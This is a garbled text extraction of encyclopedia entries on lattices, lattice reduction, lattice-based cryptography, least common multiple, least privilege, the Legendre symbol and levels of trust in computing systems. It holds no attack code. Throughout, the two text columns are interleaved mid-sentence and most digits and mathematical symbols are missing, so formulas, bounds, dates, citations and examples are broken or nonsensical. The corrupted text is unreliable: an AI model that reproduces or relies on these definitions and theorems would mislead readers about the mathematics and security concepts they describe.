asymptotically greater than polynomial and less than Theory
exponential. A lattice can be defined in many equivalent ways. To be
Runtime precise, a few definitions need to be recalled. Let x, y Rn
denote two row vectors (x , . . . , xn ) and (y , . . . , yn ) where
Lx [, ] = e(+o()) log x = x+o()
the xi s and the yi s are real numbers (Vector Space).
is exponential in log(x). Let x, y denote the Euclidean inner product of x with y:
x, y = ni= xi yi . Let
x denote the Euclidean norm of

x: x = x/ . A set of vectors {
x, b , . . . ,
bd } are said to
be R-linearly independent if and only if any equality of the
Lamport One-Time Signatures form b + + d bd = , where the i s are real numbers,
implies that the i s are all zero. Then the two most usual
definitions of a lattice are the following ones:
Hash-Based Signatures
A lattice is a discrete (additive) subgroup of Rn , that
is, a non-empty subset L Rn such that x y L when-
ever (x, y) L (i.e., the group axiom), and where there
Late Launch exists a real > such that the simultaneous condi-
tions x L and x imply that x be zero. With this
Dynamic Root of Trust definition, it is obvious that Zn is a lattice (the group
axiom is satisfied, and = / works), and that any
subgroup of a lattice is a lattice.
A lattice is the set of all integer linear combinations
Lattice of some set of R-linearly independent vectors of Rn ,
that is if b , . . . ,
bd are linearly independent, then L =
Phong Nguyen d
{i= ni bi ni Z} is a lattice, and [ b , . . . ,
bd ] is said
Dpartement dinformatique, Ecole normale suprieure, to be a basis of L. With this definition, it is still obvious
Paris, Cedex , France that Zn is a lattice, but it is not clear that a subgroup of
a lattice is still a lattice.
Synonyms
It is not difficult to prove that the above definitions are in
Euclidean lattice; Geometry of numbers
fact equivalent (see []). To decide at first sight whether or
Related Concepts not a given subset L of Rn is a lattice, the second definition
Closest Vector Problem; Lattice Reduction; Lattice- is useful only when one already knows a potential basis,
Based Cryptography; Shortest Vector Problem which is not necessary with the first definition. Both defi-
nitions suggest that lattices are discrete analogues of vector
Denition spaces: as a result, lattice theory bears much resemblance
In mathematics, the term lattice is used for two very differ- to linear algebra.
ent kinds of objects, arising, respectively, in order theory Lattice bases are not unique, but they all have the same
and number theory. Here, lattice always means a number- number of elements, called the dimension or the rank of the
theoretical lattice. Informally speaking, a lattice is a regu- lattice. Any lattice L of rank d has infinitely many bases.
lar infinite arrangement of points in n-dimensional space. Indeed, one can see that to transform a lattice basis into
More formally, a lattice is a discrete subgroup of Rn . another lattice basis, it is necessary and sufficient to apply
a unimodular transformation, that is, a linear transforma-
Background tion represented by an integer matrix with determinant .
Lattices appeared in the nineteenth century in both crys- This implies that the d-dimensional volume of the paral-
tallography and number theory. But in some sense, their lelepiped spanned by a lattice basis only depends on the
Lattice Reduction L
lattice, and not on the choice of the basis: it is called the . Nguyen PQ, Valle B () The LLL algorithm: survey and
volume or determinant of the lattice, denoted by vol(L) or applications. Information security and cryptography. Springer,
Heidelberg
det(L). By definition, it is equal to the square root of the
following dd determinant, where ( b , . . . ,
. Siegel CL () Lectures on the geometry of numbers. Springer,
bd ) is any basis Berlin
of L:
. . .
b , bd
b , b b , b
b , b b ,
b bd
. . . b ,

det(
bi ,
bj )i,jd = . Lattice Basis Reduction

bd ,
b
bd ,
b . . .
bd , bd
Lattice Reduction
The volume is useful to estimate the norm of lattice short
vectors. More precisely, a classical theorem of Minkowski
L of R ,/dthere is a nonzero
n
states that in any d-rank lattice
vector v L such that v dvol(L) . And this upper Lattice Reduction
bound is optimal (up to a constant) in the worst case in the
following sense: there exists C > such that for all integer Phong Nguyen
d , there exists a d-rank lattice L ofRd such that for all Dpartement dinformatique, Ecole normale suprieure,
nonzero v L, the inequality v C dvol(L)/d holds. Paris, Cedex , France
Applications Synonyms
Lattices are classical objects of number theory, which have Lattice basis reduction
many applications in mathematics and computer science:
see [, ]. In particular, they are widely used in public- Related Concepts
key cryptology, both in cryptanalysis and cryptographic Closest Vector Problem; Lattice; Lattice-Based Cryp-
design: see [, , ] and the entries on lattice-based tography; Shortest Vector Problem L
cryptography, NTRU, and lattice reduction.
By definition, any subgroup of Zn is a lattice, and such Denition
lattices are the main ones used in computer science. Among all the bases of a lattice, some are more useful
than others. The goal of lattice reduction (also known as
Recommended Reading lattice basis reduction) is to find interesting bases, such as
. Cassels JWS () An introduction to the geometry of numbers. bases consisting of vectors which are relatively short and
Springer, Berlin almost orthogonal. From a mathematical point of view, one
. Dirichlet JPGL () ber die Reduction der positiven
quadratischen Formen in drei unbestimmten ganzen Zahlen.
is interested in proving the existence of at least one basis
J Reine Angew Math : (in an arbitrary lattice) satisfying strong properties. From
. Gauss CF () Recension der Untersuchungen ber die a computational point of view, one is rather interested in
Eigenschaften der positiven ternren quadratischen For- computing such bases in a reasonable time, given an arbi-
men von Ludwig August Seeber. Gttingische Gelehrte trary basis. In practice, one often has to settle for a trade-off
Anzeigen, July , ff, . Repr. J Reine Angew Math
between the quality of the basis and the running time.
:. http://gdz.sub.uni-goettingen.de/dms/load/toc/?
PPN=PPNX&DMDID=dmdlog
. Grtschel M, Lovsz L, Schrijver A () Geometric algorithms Background
and combinatorial optimization. Springer, Berlin Lattice reduction goes back to the reduction theory of
. Gruber M, Lekkerkerker CG () Geometry of numbers.
quadratic forms, initiated by Lagrange [], Gauss [],
North-Holland, Groningen
. Micciancio D, Goldwasser S () Complexity of lattice prob-
and Hermite []. Indeed, there is a natural relationship
lems: a cryptographic perspective. The Kluwer international between lattices and positive definite quadratic forms, as
series in engineering and computer science, vol . Kluwer, first noted by Gauss [], and later developed by Dirich-
Boston let [] and especially Minkowski [].
. Minkowski H () Geometrie der Zahlen. Teubner, Leipzig
A classical fact of bilinear algebra states that any finite-
. Nguyen PQ, Stern J () The two faces of lattices in cryptology.
In: Cryptography and lattices proceedings of CALC, Prov-
dimensional Euclidean space has an orthogonal basis, that
idence. Lecture notes in computer science, vol . Springer, is, a basis consisting of vectors which are pairwise orthog-
Berlin, pp onal. Such bases are very useful, so it is natural to ask
L Lattice Reduction

whether such bases also exist for lattices. Unfortunately, d vol(L)/d , where d is Hermites constant in dimen-
a lattice does not have in general an orthogonal basis. sion d and vol(L) is the volume of the lattice (see the entry
The goal of lattice reduction is to circumvent this problem. lattice for a definition). Hermites constant is asymptot-
ically linear in the dimension: d = (d). In particular,

(L) d vol(L)/d , but this upper bound may not
Theory hold for the other minima: in fact, one can easily con-
Interesting lattice bases are called reduced, but there are struct lattices such that the first minimum is arbitrarily
many different notions of reduction, such as those of small, while the other minima are large. In a random lat-
Minkowski, HermiteKorkineZolotarev, LenstraLenstra tice, however, all the minima are asymptotically equivalent
Lovsz, etc. Typically, a reduced basis is made of vec- to (vol(L)/vd )/d d/(e)vol(L)/d , where vd denotes
tors which are relatively short and almost orthogonal. the volume of the d-dimensional unit ball.
To explain what relatively short means, the so-called suc- Hermite, Korkine, Zolotarev, and Minkowski intro-
cessive minima of a lattice are now defined. duced strong notions of reduction: the corresponding
The intersection of a d-dimensional lattice L Rn reduced bases have very good properties but are very
with any bounded subset of Rn is always finite. It follows difficult to compute. For instance, bases reduced in the
that there is a shortest nonzero vector in L, that is, there sense of Minkowski or of HermiteKorkineZolotarev
is v L/{} such that u v for all u L/{}. both include a shortest lattice vector, therefore finding such
Such a vector is not unique, but all such vectors must have bases is already an NP-hard problem under randomized
the same norm. The first minimum of L is thus defined as reductions as the lattice dimension increases (Shortest
(L) = v. Note that if v is a shortest vector, then v is Vector Problem). Lenstra, Lenstra, and Lovsz [] intro-
also short but is not very interesting. To avoid such prob- duced the first notion of reduction to be interesting
lems, one defines the successive minima as follows. For any from both a mathematical point of view and a compu-
integer k such that k d, the k-th successive minimum tational point of view, in the sense that such reduced
of L, denoted by k (L), is the radius of the smallest hyper- bases are provably made of relatively short vectors (but
ball centered at the origin and containing at least k linearly not as short as, say, a Minkowski-reduced basis) and
independent vectors of L. The successive minima can be can be computed efficiently. More precisely, the cele-
defined with respect to any norm, but the Euclidean norm brated LLL algorithm, given as input an arbitrary basis
is the most common. of a d-dimensional lattice L in Qn , outputs (in time
One can show that there are linearly independent vec- polynomial in the size of the basis) a lattice basis
tors v , . . . , vd in L such that vi = i (L) for all i d. (b , . . . , bd ) such that bi = O((/ )d ) i (L) for all i.
Surprisingly, as soon as d , such vectors may not form a Smaller (slightly subexponential) approximation factors
basis of L: the integral linear combinations of the vi s may can be achieved in polynomial time using blockwise
span a strict subset of L. Furthermore, as soon as d , algorithms like Schnorrs reduction [] and Gama-
there may not exist a basis reaching simultaneously all the Nguyens reduction [].
minima: there exist d-dimensional lattices such that for
all bases (b , . . . , bd ), bi i (L) for at least some i. Applications
This is one of the reasons why there is no definition of Lattice reduction algorithms are useful because they
reduction which is obviously better than all the others: for enable to solve various lattice problems: approximating the
instance, one basis may minimize the maximum of the vec- Shortest Vector Problem and the Closest Vector Prob-
tor norms, while another minimizes the product of the lem (see [, , ]), finding many short lattice vectors. This
norms, and it is not clear if one is better than the other. has proved invaluable in many areas in computer science
A reduced basis should have relatively short vectors in the (see []), notably in cryptology (see the survey []). Lattice
sense that the i-th vector of the basis is not far away from reduction algorithms have arguably become the most pop-
the i-th minimum i (L), that is, bi / i (L) can be upper ular tool in public-key cryptanalysis (see the survey []):
bounded. they have been used to break various public-key cryptosys-
The orthogonality of a basis is often measured by the tems, including many knapsack cryptographic schemes
product di= bi of the norms of the basis vectors divided and lattice-based cryptography, but also certain settings
by the volume of the lattice: this ratio is always , with of discrete-log signature schemes. Interestingly, they are
equality if and only if the basis is orthogonal. Minkowskis also used in the most sophisticated attacks known against
second theorem states that for all k d, the geomet- RSA (see [, ]): RSA with small secret exponent,
/k
ric mean of the first k minima (ki= i (L)) is at most chosen-message attacks on RSA signatures with peculiar
Lattice-Based Cryptography L
paddings, certain settings of RSA encryption with small . Gauss CF () Disquisitiones Arithmetic. Apud G. Fleischer,
public exponent, etc. In particular, Coppersmith opened Leipzig
. Gauss CF () Recension der Untersuchungen ber die
in [] a new avenue for cryptanalytic applications of lat-
Eigenschaften der positiven tern ren quadratischen For-
tice reduction when he revisited the connection between men von Ludwig August Seeber. Gttingische Gelehrte
lattices and small solutions of polynomial equations. For Anzeigen, July , ff, . Repr J Reine Angew Math
instance, it can be shown using the LLL algorithm that, :. http://gdz.sub.uni-goettingen.de/dms/load/toc/?
given an integer polynomial f (X) Z[X] of degree d such PPN=PPNX&DMDID=dmdlog
. Grtschel M, Lovsz L, Schrijver A () Geometric algorithms
that the gcd of all the coefficients of f is coprime with a pub-
and combinatorial optimization. Springer, Berlin
lic integer N, one can find in time polynomial in (d, log N) . Gruber M, Lekkerkerker CG () Geometry of numbers.
all the integers x Z such that f (x ) modN and North-Holland, Groningen
x N /d . . Hermite C () Extraits de lettres de M. Hermite M. Jacobi
sur diffrents objets de la thorie des nombres. J Reine Angew
Math :
Open Problems . Lagrange JL () Recherches darithmtique. Nouv Mm Acad
Lattice reduction is a very active research area: A lot of Roy Soc Belles Lett (Berlin):
work is required to deepen our understanding of lattice . Lenstra AK, Lenstra Jr HW, Lovsz L () Factoring
polynomials with rational coefficients. Math Ann :
reduction algorithms and to invent new lattice reduction

algorithms. . May A () Using LLL-reduction for solving RSA and factor-
ization problems: a survey. In: Nguyen PQ, Valle B (eds) The
LLL algorithm: survey and applications. Information security
Experimental Results and cryptography. Springer, Heidelberg
It should be emphasized that lattice reduction algorithms . Micciancio D, Goldwasser S () Complexity of lattice prob-
typically perform much better than their worst-case the- lems: a cryptographic perspective. The Kluwer international
oretical bounds would suggest: see [] for an experi- series in engineering and computer science, vol . Kluwer,
mental assessment of the performances of the best lat- Boston
. Minkowski H () Geometrie der Zahlen. Teubner, Leipzig
tice reduction algorithms in practice. For instance, in low
dimension (say, less than ), the LLL algorithm often
. Nguyen PQ () Hermites constant and lattice algorithms.
In: Nguyen PQ, Valle B (eds) The LLL algorithm: survey and
L
outputs a shortest nonzero vector, while in high dimen- applications. Information security and cryptography. Springer,
sion, the approximation factor appears to be exponential Heidelberg
on the average, but with a smaller constant than in the . Nguyen PQ () Public-key cryptanalysis. In: Recent trends
in cryptography. Contemporary mathematics series, vol .
worst-case theoretical analysis, namely, the approximation AMSRME, Providence
factor isof the form cd where c is significantly smaller . Nguyen PQ, Valle B () The LLL algorithm: survey and
than / . This phenomenon has yet to be explained: applications. Information security and cryptography. Springer,
from a theoretical point of view, the average-case behav- Heidelberg
ior of lattice reduction algorithms is mostly unknown. . Nguyen PQ, Stern J () The two faces of lattices in cryptol-
ogy. In: Cryptography and lattices proceedings of CALC ,
The effectiveness of lattice reduction algorithm is another
Providence. LNCS, vol . Springer, Berlin, pp
reason why lattice reduction has been so popular in . Schnorr CP () A hierarchy of polynomial lattice basis reduc-
cryptanalysis. tion algorithms. Theor Comput Sci :
Recommended Reading
. Babai L () On Lovsz lattice reduction and the nearest lattice
point problem. Combinatorica : Lattice-Based Cryptography
. Coppersmith D () Small solutions to polynomial equations,
and low exponent RSA vulnerabilities. J Cryptol ():
. Dirichlet JPGL () ber die Reduction der positiven Daniele Micciancio
quadratischen Formen in drei unbestimmten ganzen Zahlen. Department of Computer Science & Engineering,
J Reine Angew Math : University of California, San Diego, CA, USA
. Gama N, Nguyen PQ () Predicting lattice reduction. In:
Proceedings of EUROCRYPT, Istanbul. LNCS, vol .
Springer, Berlin
Related Concepts
. Gama N, Nguyen PQ () Finding short lattice vectors within
Mordells inequality. In STOC: Proceedings of the th
Closest Vector Problem; Lattice; Lattice Reduction;
annual ACM symposium on theory of computing, Victoria. NTRU; Post-quantum Cryptography; Public Key
ACM, New York Cryptography; Shortest Vector Problem
L Lattice-Based Cryptography
Denition results. However, lower-degree polynomials (i.e., smaller

Lattice-based cryptography is a generic term used to values of c) are more desirable because they give stronger
encompass a wide range of cryptographic functions whose security guarantees. The strongest result along these lines
security is based on the conjectured intractability of known to date [] shows that Ajtais function can be based
Lattice problems, like (variants of) the Shortest Vector on the inapproximability of GapSVP (as well as other prob-
Problem and the Closest Vector Problems. lems) within factors n+o() essentially linear in the lattice
For applications of lattices in cryptanalysis, Lattice dimension.
Reduction. The security of lattice-based public-key encryption
was originally based on the conjectured intractability of
Background a special version of SVP, called the unique SVP [, ].
The study of lattice-based cryptography was pioneered This problem has been subsequently shown to be equiv-
by Ajtai in [], who proved that certain variants alent (up to small polynomial factors) to the standard
of the knapsack cryptographic schemes are at least GapSVP [].
as hard to break on the average as approximating (the One of the less satisfactory aspects of lattice-based
length estimation variant of) the Shortest Vector Prob- cryptography is that it typically yields cryptographic func-
lem (GapSVP) within factors that grow only polynomially tions with very large keys. This is due to the fact that
in the dimension n of the lattice. Two distinguishing fea- an n-dimensional lattice is described by an n n matrix,
tures of Ajtais result, and lattice-based cryptography in which requires at least n space to store. This obstacle can
general, are that: be overcome using lattices with a special structure which
admit a much more compact representation, e.g., cyclic
Breaking the cryptographic functions is provably at
lattices where a single vector can be used to represent an
least as hard as solving certain lattice problems in the
n-dimensional lattice by cyclically rotating its coordinates.
worst-case.
Proposals along these lines first appeared in the NTRU
the underlying lattice problems are not known to be
cryptosystem, but without the support of a security proof.
efficiently solvable by quantum computers
The theoretical study of efficient cryptographic functions
This should be contrasted with mainstream cryptographic based on structured lattices was initiated in by
functions based on number theory, which can be bro- Micciancio [], who exhibited a one-way function with key
ken by quantum algorithms, and, even classically, rely on size and computation time essentially linear in the lattice
average-case complexity assumptions, a qualitatively much dimension n, and still provably secure based on the worst-
stronger requirement than worst-case hardness (Refer case inapproximability of the Shortest Vector Problem
the entry Computational Complexity for further dis- over cyclic lattices.
cussion on complexity assumptions and the entry on Another major step in the development of lattice-
Post-Quantum Cryptography for a summary of attacks based cryptography was the introduction of the learning
using quantum computers and systems that are unaf- with errors (LWE) problem (an average-case version of
fected). bounded distance decoding, Refer the entry Closest Vec-
Shortly after [], Ajtai and Dwork [] proposed a tor Problem) by Regev [], who first gave evidence that the
public-key encryption scheme also based on worst-case problem is hard assuming lattice problems are hard even
complexity of lattice problems. Since then, many more for quantum computers. The LWE problem was used by
lattice-based cryptographic functions have been discov- Peikert et al. [, ] to considerably expand the appli-
ered. (See section on applications.) cability of lattice-based cryptography to a wide range of
cryptographic primitives.
Theory
The best currently known polynomial-time algorithms to Applications
(approximately) solve GapSVP and other lattice problems The techniques of [, , , ] have been extended in a
only produce solutions within an approximation factor number of ways to obtain a wide range of cryptographic
which is almost exponential in the dimension n of the primitives, including public-key encryption secure against
Lattice. (Refer entries on Lattice Reduction and the adaptive chosen ciphertext attack [], digital signa-
Shortest Vector Problem.) So, Ajtais conjecture that no tures schemes [, ], oblivious transfer protocols [],
polynomial time algorithm can approximate these prob- noninteractive zero-knowledge proof systems [], very
lems within any polynomial factor nc is quite reason- efficient collision-resistant hash functions [], identity-
able and supported by both theoretical and experimental based encryption [], and more.
Least Common Multiple L
Open Problems . Micciancio D, Regev O () Lattice-based cryptography. In:

The main open problem in the area of lattice-based cryp- Bernstein DJ, Buchmann J, Dahmn E (eds) Post-quantum cryp-
tography. Springer, Berlin
tography is probably to gain confidence in their security.
. Peikert C, Vaikuntanathan V () Noninteractive statistical
While these functions are supported by asymptotic secu- zeroknowledge proofs for lattice problems. In: Proceedings of
rity proofs, the proofs do not offer much guidance regard- CRYPTO , Santa Barbara, August . Lecture notes
ing concrete values of the security parameters that should in computer science, vol . Springer, Berlin, pp
be used in practice. This is both because the proofs are not . Peikert C, Vaikuntanathan V, Waters B () A framework for
efficient and composable oblivious transfer. In: Proceedings of
tight (i.e., there is a substantial gap between the best known
CRYPTO , Santa Barbara, August . Lecture notes
attack and the strongest provable security guarantee) and in computer science, vol . Springer, Berlin, pp
also because they start from worst-case problems whose . Peikert C, Waters B () Lossy trapdoor functions and their
exact complexity is still not very well understood. applications. In: Proceedings of STOC , Victoria, May
Another important open problem is to make lattice- . ACM Press, New York, pp
. Regev O () New lattice based cryptographic constructions.
based cryptography more efficient and attractive in prac-
J ACM ():
tice. The use of cyclic, or similarly structured, lattices . Regev O () On lattices, learning with errors, random lin-
promises to give substantial efficiency improvements over ear codes, and cryptography. In: Proceedings of STOC ,
cryptography based on general lattices. (See [] for an illus- Baltimore, May . ACM Press, New York, pp
trative example.) Still, for many cryptographic primitives,
it is still not known how to take full advantage of structured
lattices to achieve efficiency gains.
The reader is referred to the chapter [] for an intro- LCM
duction to lattice-based cryptography, and the papers in
the references for more recent developments. Least Common Multiple
Recommended Reading
. Ajtai M () Generating hard instances of lattice problems
(extended abstract). In: Proceedings of the twenty-eighth Least Common Multiple L
annual ACM Symposium on the Theory of Computing
(STOC), Philadelphia, May . ACM Press,
New York, pp Scott Contini
. Ajtai M, Dwork C () A public-key cryptosystem with Silverbrook Research, New South Wales, Australia
worstcase/average-case equivalence. In: Proceedings of the
twenty-ninth annual ACM Symposium on Theory of Comput-
ing (STOC ), E Paso, May . ACM Press, New York,
pp
Synonyms
. Gentry C, Peikert C, Vaikuntanathan V () Trapdoors for LCM
hard lattices and new cryptographic constructions. In: Pro-
ceedings of STOC , Victoria, May . ACM Press,
New York, pp
Related Concepts
. Lyubashevsky V, Micciancio D () Asymptotically efficient Greatest Common Divisor; Number Theory
lattice-based digital signatures. In: Proceedings of TCC ,
New York, March . Lecture notes in computer science, Denition
. Lyubashevsky V, Micciancio D () On bounded distance
The least common multiple (lcm) of a set of positive inte-
decoding, unique shortest vectors, and the minimum distance gers {a , . . . , ak } is the smallest positive integer that is an
problem. In: Proceedings of CRYPTO , Santa Barbara, integer multiple of every element of the set. This is denoted
August . Lecture notes in computer science, vol . lcm(a , . . . , ak ), or sometimes just [a , . . . , ak ].
. Lyubashevsky V, Micciancio D, Peikert C, Rosen A () Swifft:
a modest proposal for FFT hashing. In: Proceedings of FSE Theory
, Lausanne, February . Lecture notes in computer For example, lcm(, ) = because is a multiple
science, vol . Springer, Berlin, pp of both and as = and = , and no
. Micciancio D () Generalized compact knapsacks, cyclic
positive integer smaller than has this property.
lattices, and efficient one-way functions. Comput Complex
():
For a pair of integers, the least common multiple is
. Micciancio D, Regev O () Worst-case to average-case reduc- related to the greatest common divisor by the relation
tions based on Gaussian measure. SIAM J Comput (): gcd(a , a ) lcm(a , a ) = a a .
L Least Privilege
Background
Least Privilege The Legendre symbol was introduced by A.M. Legendre in
.
Sabrina De Capitani di Vimercati
Dipartimento di Tecnologie dellInformazione (DTI), Denition
Universit degli Studi di Milano, Crema (CR), Italy The Legendre symbol of an integer x modulo a prime p is
if x is divisible by p, and otherwise + if x has a square root
Synonyms modulo p, and if not.
Minimal privilege
Theory
Related Concepts Let p be an odd prime number and let x be an integer. If x
Access Control Policies, Models, and Mechanisms is a quadratic residue, i.e., if x is relatively prime to p and
the equation (Modular arithmetic)
Denition
x y mod p
The least privilege principle states that a subject (user or
program) should be given only those privileges it actually has an integer solution y, then the Jacobi symbol of x mod-
needs to perform its job. ulo p, written as (x/p) or ( px ), is +. If x is a quadratic
nonresidue i.e., x is relatively prime to p and has no square
Theory roots then its Legendre symbol is . If x is not relatively
The least privilege principle was defined by Jerry Saltzer prime to p then ( xp ) = .
and Mike Schroeder [] as follows. The Legendre symbol may be efficiently computed
Every program and every user of the system should operate
using the Quadratic Reciprocity Theorem or by modular
using the least set of privileges necessary to complete the
exponentiation (Exponentiation Algorithms) as
job. x p
( ) = x mod p
The importance of the least privilege principle is widely p
recognized since it minimizes the danger of damage due
to inadvertent errors, Trojan Horses, or intruders mas-
querading as legitimate users. Although the least privilege
principle is by itself a simple and fundamental design prin- Levels of Trust
ciple, in real practice its enforcement is not straighforward.
The main motivation is that it may be difficult to determine Stephen M. Papa, William D. Casper
the least amount of privileges a user/process will ever need High Assurance Computing and Networking Labs
to perform its job. (HACNet), Department of Computer Science and
Engineering, Bobby B. Lyle School of Engineering,
Recommended Reading Southern Methodist University, Houston, TX, USA
. Saltzer JH, Schroeder MD () The protection of information
in computer systems. Proc. IEEE, ():
Synonyms
Commercial off-the-shelf; Information assurance; Inte-
grated circuit; Intellectual property
Legendre Symbol
Related Concepts
Burt Kaliski PKI Trust Models; Root of Trust; Trusted Boot;
Office of the CTO, EMC Corporation, Hopkinton Trusted Computing; Trust Management
MA, USA
Denition
Trust Level: An appropriate level of hardware and software
Related Concepts protection mechanisms in a computer system based on its
Jacobi Symbol; Prime Number; Quadratic Residue intended use, and is established based on a risk analysis
Levels of Trust L
that includes a probability and consequence of occurrence The specific mechanisms selected to establish trust
of an attack on the system. needs to be based on some required level of system trust.
The first step to establishing a systems required trust
Background level is assessing the relative risk the data will experience
Computer security is reliant on trust. This trust is com- once the computing system is deployed. Risk of attack to
posed of several fundamental principles, including confi- deployed data may come from one or more sources. At the
dence that the targeted system is configured as expected, root the risks are people who have malicious intents, and
will operate as intended, and has not already been com- the expected access they may have to the system. Typical
promised or exploited. A verification strategy with appro- usage scenarios that would put the data at risk may include
priate methodology should be used to validate this trust. one or more of the following:
The validation can be done with a combination of hardware
. An authorized malicious user with system usage rights
attestation and software integrity verification.
and physical system access
A trust level is a useful method to identify the required
. An authorized malicious user with system usage rights
hardware and software security protection mechanisms
but no physical system access
that a system must include to protect the data confiden-
. An unauthorized malicious insider or outsider with
tiality, availability, and integrity once this data (software or
physical access to the system
other information) is present in an operational system. The
. An unauthorized malicious outsider with network
level selected should be based on the desired level of trust.
access to the system
. Data contained in nonvolatile storage within the com-
Theory puter system
As a system is designed, developed, integrated, and
. Data contained in a server or other storage device not
deployed a weak link in any security protection mech-
physically part of the computer system
anism has the potential for allowing an attacker to gain
access to the data being protected. Protection mechanisms Users may be authorized to use a system, application, or
are counter-measures against these attacks and are often service, however, use does not imply rights to the actual
needed to provide trust that a system will protect the data it data processed within the system. An example of this is a
L
is storing, sending, or processing. These mechanisms may video game, where the user can interact and play the game,
include information assurance (IA), cryptography, tam- but where the video game creator may want to prevent
per protection, third-party certificate authorities, shared piracy of their IP in the game.
secrets/keys, etc. Protection mechanisms are designed into Once the expected usage scenarios are understood, the
the system to ensure that the confidentiality, integrity, and probability and consequence of data compromise can be
availability of the data are maintained while it is stored, quantified, and based on this analysis the risk of data com-
being transferred, or being used within the deployed promise can be understood. Often the consequence of loss
system. may be stated in terms of potential monetary loss, loss of
Mechanisms to create trust in a system may include competitive advantage, loss of the enterprises ability to be
cryptographic (hard) and non-cryptographic (soft) trust profitable, or even in terms of national security.
mechanisms. Hard trust mechanisms may include trusted Ultimately the data owner, an organization or person
boot, authentication between roots of trust in the system or who created or owns the data, must assess the relative
network, methods and protocols to establish and maintain importance of the data requiring protection and the risk
secure communication channels or exchange key material, associated with its loss or compromise. The data owner
digital signature for verification of data, third-party cer- must then decide if the system that will contain the data
tificates, and the use of secure processors to protect data is designed with sufficient protection mechanisms so that
during run-time operation. Soft trust mechanisms may the risk is acceptable.
include verification of the hardware and software config- Once a required level of trust has been identified,
uration to ensure proper system components are present, a trusted development environment (facilities, networks,
trusted operating systems, software designed to protect and people), development tools, and hardware and soft-
against known attacks, and run-time checks for attacks ware should be selected or developed to provide a consis-
on the system. Trusted components are often the basis tent level of protection so that an appropriate level will exist
for installing trust in an overall design, but verifying the in the deployed system. Discrete levels of trust provide a
true trustworthiness of trusted components is not a trivial useful framework for identifying the design, development,
task []. and verification requirements for a given system. In any
L Levels of Trust
deployed system a level of trust can be established using a Establishing and maintaining trust throughout the
mix of IA, trust, and tamper protection requirements. development process or in the deployed systems is not
A framework based on levels of trust is established cost effective or relevant in the system design and is not
below to provide data owners and system designers a required.
method of understanding the required protection mech-
anisms. A trust level criteria can be used by both the data Level Trust (Low Risk of Compromise)
owner and system designers to come to a common under- Minimal trust required. Data in the deployed system is lim-
standing of the protection requirements for the system. ited to low-value proprietary data or personal data readily
This criteria does not formally exist in many commercial available in public information. Its protection is not critical
environments, but has existed in many forms within many to long-term success of an organization or individual. Trust
national government security organizations. When the in the development environment and protection measures
data owner is a government agency, the criteria are based within the deployed system is optional.
on data sensitivity or classification level, and the required Establishing and maintaining trust throughout the
protection level is established based on this level and the development process and in the deployed system may not
expected environment the system is expected to exist in. be cost effective or relevant in the system design. Deployed
Based on the sensitivity of the information within the system trust includes software only designs to protect the
system and the intended use of the product, there are vary- data and software. Software support for trust may include
ing levels of trust required. A definition of the levels of trust software decryption and integrity verification of software
that can be used as a criterion for establishing the required and data. FIPS- Security Level crypto requirements
level of trust has its roots based on the five levels iden- may be applicable.
tified by FIPS-- draft [] for cryptographic devices.
A proposal on levels of software trust is discussed in []. Level Trust (Medium Risk of Compromise)
These levels are referred to as classes in that particular Medium trust required. Data includes important propri-
paper and focused specifically on software trust and the etary or personal data. Trust in the development environ-
software development process. The definitions discussed ment and protection measures within the deployed system
below extend these concepts to included hardware and sys- are required. The level of trust and protection mechanisms
tem design elements, hardware and software acquisition designed into the system must be commensurate with the
choices, maintenance processes, and even the development expected risk of exposure in the deployed system.
teams themselves. Establishing and maintaining trust throughout the
development process is cost effective and relevant in the
system design. Efforts to establish trust in the deployed sys-
Applications
tem include software designs to protect the data and soft-
It is insufficient to just have trust in the developed soft-
ware, and if required hardware support of these designs.
ware or at the network interface. For any system to be
Purchased software is selected and integrated with regard
trusted there are requirements for establishing trust dur-
to trust. Preference to software that has been evaluated or
ing the development, deployment, and maintenance of the
well tested for security flaws may be a design consider-
system. Trust in a computing system can be established and
ation. Software is developed with processes that include
maintained if there is an appropriate and consistent level
security criteria. Code inspections with security checklists
of trust in each of the following aspects of the product life
are used, and engineers are trained in software protection
cycle.
methods. All security-relevant software is verified using
Based on the FIPS-based security levels the following
code integrity checking tools. Hardware may be COTS
five trust levels are defined below, and provide an overview
systems, boards, and components. Selection is based on
of trust and protection requirements based on the datas
performance to functional requirements, and support of
risk of compromise throughout the computing systems
the security requirements. Modifications for trust support
life cycle.
in hardware are required if needed by software to secure
the system.
Level Trust (Very Low Risk of Compromise) System or software installation or upgrades are per-
No trust is required. No special, sensitive, high value, or formed by trusted personnel, tools, or applications. In
significant data (information or software) will exist in the deployed systems hardware supports for trust may be inte-
deployed system. gral to the design. Operational software support for trust
Levels of Trust L
includes use of decryption and integrity verification of may include attestation of the new configuration by trusted
software and data. Further checks on system configura- third parties, or with digital signatures.
tion and operation may be performed to improve system In deployed systems, hardware supports for trust is
trust. FIPS- Security Level crypto requirements are integral to the design. Modifications to hardware to sup-
applicable. port establishment of trust is required to help secure the
system. This support starts with digital signature veri-
Level Trust (High Risk of Compromise) fication and decryption of boot software as part of the
High-level trust required. Data is critical to long-term suc- boot process. Additional hardware crypto engines to sup-
cess of the organization or individuals. Trust in the devel- port cryptographic functions required by software are
opment environment and protection measures within the needed in the hardware. Operational software support for
deployed system are required. The level of trust and pro- trust includes use of decryption and integrity verifica-
tection mechanisms designed into the system must be tion of key system elements, of software and data. Fur-
commensurate with the expected risk of exposure in ther checks on system configuration and operation may be
the deployed system. performed.
Establishing and maintaining trust throughout the Deployed system configuration control and release is
development process is cost effective and relevant in performed by trusted personnel, configuration tools, or
the system design. Efforts to establish trust in the deployed applications. FIPS- Security Level crypto require-
system include software designs to protect the data and ments are applicable.
software, and if available hardware support of these
designs. Level Trust (Very High Risk of Compromise)
The development environment should not be con- Highest level of trust required. Loss of data will result
nected to the Internet and strong security measures are in in long-term and permanent damage to the organization,
place. Lead engineers and managers must control prod- country, individuals, or groups of individuals. The level of
uct configuration. Access controls are in place to keep trust and protection mechanisms designed into the system
developers from accessing specific data or resources. Phys- must be commensurate with the expected risk of exposure
ical access to development areas may be required. Secu- in the deployed system.
L
rity screening or background checks of all key personnel Establishing and maintaining trust throughout the
involved in development or deployment of the product is development process is cost effective and relevant in the
required. system design. Efforts to establish trust in the system
Hardware and software development tools must have include software, hardware, and firmware designs to pro-
a high level of assurance from a security perspective. Only tect the data and software.
open or closed source tools that come from reputable com- Development environment is not connected to the
panies are selected. Tools outputs are to be verified for Internet and strong security measures are in place. Lead
Trojans and other security flaws. engineers or managers control product configuration and
Purchased software is selected and integrated with are trusted. Access controls are in place to keep developers
regard to trust. Selected software must have been evalu- from accessing specific data or resources. Physical access
